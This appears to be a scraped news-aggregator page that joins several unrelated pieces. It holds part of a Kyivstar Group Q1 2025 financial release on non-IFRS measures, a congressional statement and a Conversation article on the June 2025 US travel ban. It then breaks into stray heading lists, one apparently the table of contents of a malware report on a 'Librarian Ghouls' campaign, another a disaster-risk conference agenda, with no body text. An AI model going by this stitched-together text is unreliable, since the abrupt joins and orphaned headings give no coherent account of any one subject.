Presentation of Non-IFRS Financial Measures and Performance Metrics

In addition to the results provided in accordance with IFRS throughout this press release, Kyivstar Group has provided the non-IFRS financial measures Adjusted EBITDA and Adjusted EBITDA Margin (the “Non-IFRS Financial Measures”), as well as key performance indicators mobile ARPU, multiplay customers and total digital MAU.

Kyivstar Group defines Adjusted EBITDA as earnings before interest, tax, depreciation, amortization, impairment, gain/loss on disposals of non-current assets, net foreign exchange gain and other non-operating gains/losses, net. Kyivstar Group defines Adjusted EBITDA Margin as Adjusted EBITDA divided by total operating revenues. Kyivstar Group uses the Non-IFRS Financial Measures in addition to its results determined in accordance with IFRS in order to evaluate its financial and operating performance, to generate future operating plans and make strategic decisions. Kyivstar Group believes that the Non-IFRS Financial Measures may be helpful to investors because they provide additional tools for investors to use in evaluating its ongoing operating results and trends and in comparing its financial results with other companies operating in similar industries because they provide consistency and comparability with past financial performance. The Non-IFRS Financial Measures are not intended to replace, and should not be considered superior to, the presentation of the Kyivstar Group financial results in accordance with IFRS. The Non-IFRS Financial Measures may not be comparable to other similarly entitled measures computed by other companies.

The following table presents reconciliations of Adjusted EBITDA and Adjusted EBITDA Margin to the most directly comparable IFRS financial performance measures, which are profit for the period and profit margin, respectively:

	Three months ended March 31, 2025	Three months ended March 31, 2024
(USD in millions)
*Profit for the period*	44		36
Income taxes	14		9
*Profit before tax*	58		45
Depreciation	31		31
Amortization	13		12
Impairment, net	2		1
Finance costs	21		21
Finance income	(7)		(8)
Other non-operating gain/(loss), net	1		(1)
Net foreign exchange (loss)/gain	21		(8)
*Adjusted EBITDA*	*140*		93
*Profit margin*	17%		19%
*Adjusted EBITDA Margin*	55%		50%

Key Performance Indicators

Mobile ARPU measures the monthly average revenue per mobile user. Kyivstar Group calculates mobile ARPU by dividing its mobile service revenue (excluding guest roaming and wholesale interconnection revenue) during the relevant period by the average number of its mobile customers during the period and dividing by the number of months in that period. Mobile service revenue used to calculate mobile ARPU excludes guest roaming and wholesale interconnection revenue, as this revenue is not generated by Kyivstar Group’s customers but are proceeds received by other operators for the services received by its subscribers.

Multiplay customers are doubleplay 4G customers who also used one or more of Kyivstar Group’s digital products at any time during the one month prior to such measurement date.

Total digital MAU is a gross total cumulative MAU of applications offered. Under this metric, a single individual who is active in more than one application is counted as a separate MAU under each such application, such that the total digital MAUs may include individuals being counted more than once.

Contact Information

Kyivstar Group

Media and Investor Contact:
Kyivstar@icrinc.com

VEON Media Contact
Email: pr@veon.com

ⁱ Multiplay as a % of total active Kyivstar one-month subscriber base in March 2025 (unique active subscribers over one-month period)

The MIL Network –

June 6, 2025

MIL-OSI USA: Jayapal Statement on Trump Travel Ban 2.0

Source: United States House of Representatives – Congresswoman Pramila Jayapal (7th District of Washington)

WASHINGTON – U.S. Representative Pramila Jayapal (WA-07), Ranking Member of the Immigration Integrity, Security, and Enforcement Subcommittee, released the following statement regarding the Trump Administration’s newly announced travel ban:

“There are a myriad of reasons that people come to the United States, from travel and tourism to fleeing violent and dangerous situations. This ban, expanded from Trump’s Muslim ban in his first term, will only further isolate us on the world stage.

“This discriminatory policy, which limits legal immigration, not only flies in the face of what our country is supposed to stand for, it will be harmful to our economy and our communities that rely on the contributions of people who come to America from this wide range of countries. Banning a whole group of people because you disagree with the structure or function of their government not only lays blame in the wrong place, it creates a dangerous precedent. Further, banning people fleeing dangerous countries like Afghanistan — a country where many people are in danger due to their work assisting the U.S. military — the Congo, Haiti, and Sudan will only further destabilize global security.

“Trump is indiscriminately taking a chainsaw to our government — destroying federal agencies that keep us safe, indiscriminately cutting jobs, and hindering our progress across research fields. This will only further hurt our country and cannot be allowed to stand.”

This travel ban fully restricts and limits the entry of nationals from 12 countries: Afghanistan, Burma, Chad, the Republic of the Congo, Equatorial Guinea, Eritrea, Haiti, Iran, Libya, Somalia, Sudan, and Yemen.

The Travel Ban partially restricts entry of people from seven countries: Burundi, Cuba, Laos, Sierra Leone, Togo, Turkmenistan, and Venezuela.

Jayapal is a cosponsor of the NO BAN Act, legislation to prevent this exact type of discriminatory travel ban, as well as the lead sponsor of the Access to Counsel Act, to ensure that U.S. citizens, green card holders, and other individuals with legal status can consult with an attorney, relative, or other interested parties to seek assistance if they are detained for over an hour by Customs and Border Protection (CBP). She originally wrote this legislation following the first Muslim Ban in 2017, as legal residents were held at points of entry.

Issues: Immigration

MIL OSI USA News –

June 6, 2025
MIL-OSI Global: Trump’s travel ban casts shadow over the upcoming Fifa Club World Cup and other US-hosted sporting events

Source: The Conversation – UK – By Eric Storm, Senior Lecturer in General History, Leiden University

Donald Trump’s controversial announcement of a travel ban on people from 12 countries visiting the US, immediately sparked questions about the implications for the upcoming Fifa Club World Cup and next year’s men’s football World Cup, both hosted in the US, as well as the 2028 Olympics in Los Angeles.

The Fifa Club World Cup starts on June 15 and is hosted at venues across the US including at stadiums in Miami, Los Angeles and New York. Teams will travel from across the world to the US for the tournament.

The travel ban will start on June 9, just before the major tournament, which features some of the biggest football clubs in the world, will start.

While the announcement says athletes competing will be exempt from the ban, it is not obvious that this will extend to fans. And further restrictions on who can enter the country may add to the fear many travellers are feeling of being stopped at the US border.

The announcement states that “any athlete or member of an athletic team, including coaches, persons performing a necessary support role, and immediate relatives travelling for the World Cup, the Olympics, or other major sporting events as defined by the Secretary of State” will be exempted from the ban. There’s not yet a list of which sporting events will be included in the exemption, or clarification of how the phrase “support role” may be interpreted.

Some teams that have qualified for the Club World Cup have players from countries listed in the travel ban, and Iran, which is listed, has already qualified for the 2026 World Cup. The countries listed in the travel ban are: Afghanistan, Myanmar, Chad, Republic of the Congo, Equatorial Guinea, Eritrea, Haiti, Iran, Libya, Somalia, Sudan and Yemen. Nationals from Burundi, Cuba, Laos, Sierra Leone, Togo, Turkmenistan and Venezuela may also face some restrictions.

President Trump announces a travel ban on 12 countries.

The US relationship with both of its co-hosts (Mexico and Canada) for the world cup in 2026 is already rather tense, because of the current geopolitics, rhetoric and US tariffs. There’s already been a significant downturn in Canadian travel to the US, and a boycott of US products, after Trump’s assertions that he could take over his northern neighbour. This has also resulted in some tension at sports matches.

The rivalry against US teams is likely to be more intense than normal. And it’s possible that many foreign fans could take out their frustration with Trump on US sportspeople. The president, who chairs the taskforce for the 2026 footballing event, could take that personally. And hostilities between rival groups of fans might escalate during the event.

In the current polarised atmosphere some artists may not want to participate in the opening ceremony, unless they are aligned with Trump’s politics.

Historical sporting conflicts

Historically, political tension has had some impact on international sporting events, and affected how they were carried out. During the cold war, 60 countries, including the US, boycotted the Moscow Olympic Games of 1980 in protest against the recent Soviet invasion of Afghanistan. Four years later, 15 countries from the Soviet orbit responded by boycotting the Los Angeles games in 1984.

After the fall of the Berlin wall in 1989 brought an end to the cold war, international relations generally became more relaxed and this was also reflected in major sport events. Fifa sought to reconcile Japan and South Korea, who had a difficult shared history of colonisation and war-time exploitation, by pressuring them to host the 2002 World Cup together.

The tournament became a great success, patching up relations between the two countries. Both national teams performed better than anticipated, leading to outbursts of feelgood patriotism. This was unprecedented for Japan, burdened by the memory of the second world war.

Four years later, the world cup was held in a recently reunited Germany. Fans from around the world, dressed up in their national colours, were welcomed in the host cities. The German public threw off its generally restrained attitude – and celebrated by waving the national flag with enthusiasm. It was felt to be a symbol of a new positive phase of a reunified Germany.

Since the reelection of Trump, the United States has signalled it is reviewing its support for many international organisations, and is largely disregarding traditional avenues for soft power, (influence through cultural means such as film, art or foreign aid). Trump has also shocked Nato partners by suggesting that the US may not be willing to defend them.

In the shadow of these international events and the growing geopolitical tensions, the upcoming football world cups may find their atmosphere somewhat dampened.

Eric Storm does not work for, consult, own shares in or receive funding from any company or organisation that would benefit from this article, and has disclosed no relevant affiliations beyond their academic appointment.

– ref. Trump’s travel ban casts shadow over the upcoming Fifa Club World Cup and other US-hosted sporting events – https://theconversation.com/trumps-travel-ban-casts-shadow-over-the-upcoming-fifa-club-world-cup-and-other-us-hosted-sporting-events-253496

MIL OSI – Global Reports –

June 6, 2025

Category: Central Asia

IMF Communications Department

MEDIA RELATIONS

Introduction

Technical details

Initial infection vector

rezet.cmd

bat.bat

Disabling security measures and a scheduled task

Wakeup script and data theft

Miner installation and self-deletion

Legitimate software utilized by the attackers

Phishing campaign

Infrastructure

Victims

About the attackers

Takeaways

Indicators of compromise

Implants

Implant configuration files

Malicious archive attachments

Malicious BAT files

Decoy documents

Malicious PS1 scripts

Legitimate software

Librarian Ghouls malicious domains

High-level dialogue

What will it take to scale DRR financing solutions at the national and local level?

Ministerial roundtable

Inclusive comprehensive school safety-strengthening resilience for children and youth in all hazards

Multistakeholder plenary

Investments in reducing risk and building resilience to accelerate investments in sustainable development

Special event on extreme heat

Special session

Comprehensive approaches to reduce loss and damage-bridging climate action and DRR

Thematic Sessions

Catalyzing governance solutions for disaster and climate-related displacement

Side event

Inclusive comprehensive school safety—Strengthening resilience for children and youth in all hazards

IISD’s summary

British Embassy in Ashgabat marks World Environment Day

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